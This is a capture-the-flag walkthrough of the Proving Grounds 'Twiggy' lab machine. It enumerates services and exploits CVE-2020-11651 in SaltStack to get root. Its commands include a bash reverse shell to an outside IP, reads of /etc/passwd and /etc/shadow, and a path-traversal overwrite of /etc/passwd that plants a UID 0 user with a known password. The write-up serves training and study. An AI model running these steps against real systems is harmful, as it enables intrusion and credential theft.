Initial Enumeration
We kick things off with an Nmap scan using default scripts and service detection to get a broad overview of what’s running on the target:
nmap -sC -sV 192.168.151.62 -oN nmap_1 -vFrom the scan results:
Port 80 hosts a web server running nginx 1.16.1, and the title of the page indicates it’s using Mezzanine, a content management system. A quick search reveals this CMS has a known XSS vulnerability:
We’ll dig into that later, but first, let’s get the full picture by scanning all 65,535 TCP ports:
nmap -sV -p- -oN nmap-all-ports 192.168.151.62 -vThis deeper scan reveals two additional open ports that weren’t caught initially:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
53/tcp open domain NLnet Labs NSD
80/tcp open http nginx 1.16.1
4505/tcp open zmtp ZeroMQ ZMTP 2.0
4506/tcp open zmtp ZeroMQ ZMTP 2.0
8000/tcp open http nginx 1.16.1These are associated with ZeroMQ, a messaging library. While searchsploit and exploit-db didn’t return any direct exploits for ZeroMQ itself, some further digging uncovered that SaltStack—a remote execution and configuration management tool—relies on ZeroMQ.
If SaltStack is running here, and it’s an outdated version, it may be vulnerable to CVE-2020-11651, a known authentication bypass leading to remote code execution.
Digging into Port 8000
To confirm this suspicion, I used Gobuster to enumerate directories on port 8000:
gobuster dir -u http://192.168.151.62:8000 -w /usr/share/wordlists/dirb/common.txtIt returned some interesting results:
These directory names, particularly /run, /jobs, and /login, strongly suggest a web-based API—possibly Salt’s.
To confirm, I ran Nikto:
nikto -h http://192.168.151.62:8000Nikto picked up a custom HTTP header:
<SNIP>
+ /: Uncommon header 'x-upstream' found, with contents: salt-api/3000-1.
<SNIP>This confirms that SaltStack’s API is indeed accessible on port 8000.
Using cURL, we can see this clearly in the response headers and body:
curl -v http://192.168.151.62:8000Response:
Exploiting CVE-2020-11651
I found a working exploit script for CVE-2020-11651:
- Exploit-DB: 48421
- PoC GitHub
Before running the script, it’s a good idea to isolate the environment. I set up a Python virtual environment:
python3 -m venv venv
source venv/bin/activateInside the virtual environment, some modules might be missing. You can install them with:
pip3 install (module name)Run the script and install any missing modules as they come up (e.g. pip3 install salt or others as needed).
Once the environment is ready, run the exploit:
python3 exploit.py --master 192.168.151.62This confirmed the Salt master service is exposed and vulnerable. It returned a root authentication key:
<SNIP>
[+] Checking salt-master (192.168.151.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: ESetO4U5zGl4KSxCmAcSSxuZ7eV4LqC1GaS+s2yTuXqhah/sq1Tdh/k7pT9mRq0IihgrezwtoCE=
<SNIP>With this key, the exploit lets us do quite a bit—read, write, and execute commands as root.
Attempting a Reverse Shell
I first tried to get a reverse shell:
python3 exploit.py --master 192.168.151.62 --exec "bash -i >& /dev/tcp/192.168.45.239/4444 0>&1"Although the command appeared to execute, the shell never connected back—likely blocked by a firewall or outbound restrictions.
Reading Sensitive Files
Since command execution didn’t work, I used the file read capability to access /etc/passwd and /etc/shadow:\
python3 exploit.py --master 192.168.151.62 --read /etc/passwd
python3 exploit.py --master 192.168.151.62 --read /etc/shadowThis gave us access to the system users and their password hashes
Modifying /etc/passwd to Add a Root User
To gain persistent access, I chose to add a new root-level user by modifying the /etc/passwd file.
I first generated a password hash for my custom password mypass:
openssl passwd mypassThis gave me the following hash:
$1$X6wDOU5s$LYNjoS7B7BJ6Vhy/jCKq.0I then edited a local copy of the passwd file and appended this line at the end:
root2:$1$X6wDOU5s$LYNjoS7B7BJ6Vhy/jCKq.0:0:0:root:/root:/bin/bashThis defines a new user named root2 with UID 0, giving it full root privileges.
Next, I tried to upload the modified file using the exploit script:
python3 exploit.py --master 192.168.151.62 --upload-src passwd --upload-dest ../../../../../../etc/passwdOn the first attempt, the upload failed. I ran the command again just in case, and on the second attempt, it returned:
<SNIP>
[+] Checking salt-master (192.168.151.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: ESetO4U5zGl4KSxCmAcSSxuZ7eV4LqC1GaS+s2yTuXqhah/sq1Tdh/k7pT9mRq0IihgrezwtoCE=
[+] Attemping to upload passwd to ../../../../../../etc/passwd on 192.168.151.62
[ ] Wrote data to file /srv/salt/../../../../../../etc/passwd
<SNIP>This confirmed the file had been overwritten.
To be safe, I verified the contents of /etc/passwd using the file read option in the exploit:
python3 exploit.py --master 192.168.151.62 --read /etc/passwdSure enough, root2 appeared in the output.
<SNIP>
[+] Checking salt-master (192.168.151.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: ESetO4U5zGl4KSxCmAcSSxuZ7eV4LqC1GaS+s2yTuXqhah/sq1Tdh/k7pT9mRq0IihgrezwtoCE=
[+] Attemping to read /etc/passwd from 192.168.151.62
<SNIP>
root2:$1$X6wDOU5s$LYNjoS7B7BJ6Vhy/jCKq.0:0:0:root:/root:/bin/bashAfter verifying that the new user appeared in /etc/passwd, I was able to SSH in:
ssh root2@192.168.151.62Password: mypass
Success! We’re now root. The flag prrof.txt can be obtained from the current directory.
References
- https://pentesting.zeyu2001.com/proving-grounds/warm-up/twiggy
- https://systemweakness.com/twiggy-proving-grounds-oscp-prep-practice-easy-b6d9c05c3be4